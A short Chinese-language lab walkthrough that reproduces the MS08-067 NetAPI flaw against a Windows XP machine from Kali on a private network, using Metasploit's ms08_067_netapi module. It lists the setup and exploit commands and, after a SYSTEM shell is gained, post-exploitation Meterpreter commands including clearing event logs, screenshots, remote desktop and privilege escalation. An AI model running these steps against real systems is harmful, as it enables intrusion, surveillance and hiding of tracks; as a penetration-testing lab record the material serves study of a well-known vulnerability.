MS08_067_netapi漏洞复现

 MS08_067_netapi漏洞复现

winxp的ip地址为192.168.0.101

kali的ip地址为192.168.0.105
确保两台主机能ping通

接着我们使用kali中自带的msf进行攻击
开启postgresql数据库

service postgresql start 

启动msf

msfconsole

我们利用msf的数据库搜索相应winxp的漏洞

search netapi

use exploit/windows/smb/ms08_067_netapi

show targets //查看使用平台
show options //查看要设置哪些参数
show payloads //查看可以使用哪些攻击载荷
check            //设置完RHOST后检查其是否脆弱
exploit         //开始攻击

RHOST为被攻击者的ip地址
LHOST为攻击者的ip地址

设置攻击载荷

开始攻击！

这就攻击成功了，可以看出还是很好利用的，没有过多的尝试，接下来可以做什么呢

shell   //获取对方的cmd窗口

可以看到已经进入，并且在system32目录下，中间有部分乱码，不用管

恶搞一下

这样就在对方C盘下建了一个hahaha文件夹

存在，说明成功！

除此之外还可以有很多操作

reboot //重启受害人计算机
shutdown //关闭
sysinfo  //查看目标系统信息
run vnc  //开启远程桌面
clearev  //清除计算机日志
screenshot   //屏幕截图
getSystem     //获取对方system权限
migrate    //移动到另一个PID
getuid     //获取当前权限的用户id
background 将Meterpreter放入后台(使用sessions -i重新连接到会话)

读者可以自行尝试